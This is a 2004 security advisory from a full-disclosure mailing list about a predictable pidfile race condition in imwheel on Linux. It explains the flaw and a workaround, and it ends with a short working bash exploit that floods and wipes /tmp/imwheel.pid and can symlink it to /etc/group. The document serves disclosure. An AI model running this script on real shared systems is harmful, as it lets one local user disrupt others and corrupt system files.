Message-ID: <1093045949.5642.1947.camel@druid.druid.nerv.net>
From: druid at caughq.org (I)ruid)
Subject: CAU-2004-0002 - imwheel Predictable PidFile Name Race Condition

                      ____      ____     __    __
                     /    \    /    \   |  |  |  |
        ----====####/  /\__\##/  /\  \##|  |##|  |####====----
                   |  |      |  |__|  | |  |  |  |
                   |  |  ___ |   __   | |  |  |  |
  ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
                     \____/  |__|  |__|  \______/
                                                     
                    Computer Academic Underground
                        http://www.caughq.org
                          Security Advisory 

===============/========================================================
Advisory ID:    CAU-2004-0002
Release Date:   06/24/2004
Title:          imwheel Predictable PidFile Name Race Condition
Application/OS: imwheel 1.0.0pre11 (Linux/X11)
Topic:          imwheel's behavior regarding a predictably named pidfile
                introduces many security issues via a race condition.
Vendor Status:  Notified on 06/10/2004 via SourceForge, no response.
Attributes:     Denial of Service, Resource Exhaustion, Arbitrary File
                Modification
Advisory URL:   http://www.caughq.org/advisories/CAU-2004-0002.txt
Author/Email:   I)ruid <druid@...ghq.org>
===============/========================================================

Overview
========

imwheel exclusively uses a predictably named PID file for management of
multiple imwheel processes.  A race condition exists when the -k
command-line option is used to kill existing imwheel processes.  This
race condition may be used by a local user to Denial of Service another
user using imwheel, lead to resource exhaustion of the host system, or
append data to arbitrary files.


Impact
======

Three separate issues may be inflicted by a successful race attack
against the imwheel PID file.

In the first case, a legitimate user may not be able to further use
imwheel due to a malicious user taking control of the PID file.  This
will cause the imwheel process to be unable to write to the PID file and
not start up properly.  This case does not exist if imwheel is suid
root or run by the root account, as those permissions will allow the PID
to be written properly to the pidfile.

In the second case, a malicious user may steal control of and constantly
wipe the contents of the PID file, causing imwheel to be unable to
detect and kill existing imwheel processes when it is started with the
-k command-line option, eventually leading to resource exhaustion.

In the third case, a malicious user may symlink the pidfile to an
arbitrary file.  If the permissions of the user running imwheel allows,
imwheel will append it's PID to the arbitrary file, potentially causing
corruption of data. The severity of this case is compounded if imwheel
is suid root or run by the root account.


Affected Systems
================

imwheel is developed for the Linux operating system and is a tool to be
used under the X window environment.


Technical Explanation
=====================

imwheel uses a predictably named PID file to store process IDs of
currently running imwheel processes.  By default, this file is
/tmp/imwheel.pid.  If this file exists when imwheel starts, it appends
it's PID to the file.  If imwheel is started with the -k command-line
option to kill all existing imwheel processes, imwheel calls the
KillIMWheel() function in util.c to step through this file PID by PID,
check via the /proc filesystem that the PID's name is imwheel, kill the
process, then repeats for the remaining PIDs in the pidfile.  When it
has finished with each PID in the file, the file is unlinked, then re-
created by the new process which writes it's PID to the file.  This
behavior creates a race condition where a malicious user may write to
the pidfile during this time window.  If imwheel is executed by a local
user, this may prevent imwheel from starting properly if the pidfile's
permissions do not allow the user to write to the pidfile, resulting in
this error:

ERROR: Couldn't write pid to pid file
  Perhaps you want the -p option to avoid this...
  Otherwise you may SUID root the imwheel executable.
: Permission denied

If the user executing imwheel does have permissions to write to the
pidfile, imwheel will start properly, however the pidfile will still be
owned by the malicious user, who may then wipe out the contents of the
pidfile, causing further instances of imwheel run with the -k option to
not properly shut down existing instances of imwheel, eventually causing
resource exhaustion.  Further, a malicious user could symlink the
pidfile to any arbitrary file on the system, causing imwheel to append
it's PID to the file, potentially causing corruption of data.


Solution & Recommendations
==========================

We are currently unaware of any vendor-provided solution to this issue.

A workaround is to use imwheel's --pid|-p option to cause imwheel to run
without checking or using PID files.  This will prevent the local user
DoS issue, however imwheel's --kill|-k option will not function
properly.


Exploitation
============

Exploitation of this race condition is trivial with a shell script:

#!/bin/bash
 
# you may have to adjust the number of characters in the print to
# get the timing correct for the injection.  Fewer characters seems
# to prevent this from working.  Optionally, replacing the echo
# with the symlink creation at the end of this script seems to work
# fairly regularly.
CHARCOUNT=4000
 
echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
while [[ $? != 0 ]]; do
        echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
done
 
# Wait for imwheel to write it's pid to the new file
sleep 1
# Wipe the contents of the PID file.
echo > /tmp/imwheel.pid

# Optionally, replace the new file with a link
# rm /tmp/imwheel.pid
# ln -s /etc/group /tmp/imwheel.pid
 
echo "Exploit Successful!!!"


References
==========

IMWheel - http://imwheel.sourceforge.net/


Notes
=====

This advisory has been submitted to BugTraq repeatedly, each time
returned with the apparently customary 'no action has been taken on your
post' message, therefore this advisory has been cross-posted to other
lists.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040820/e4c9c748/attachment.bin

Powered by blists - more mailing lists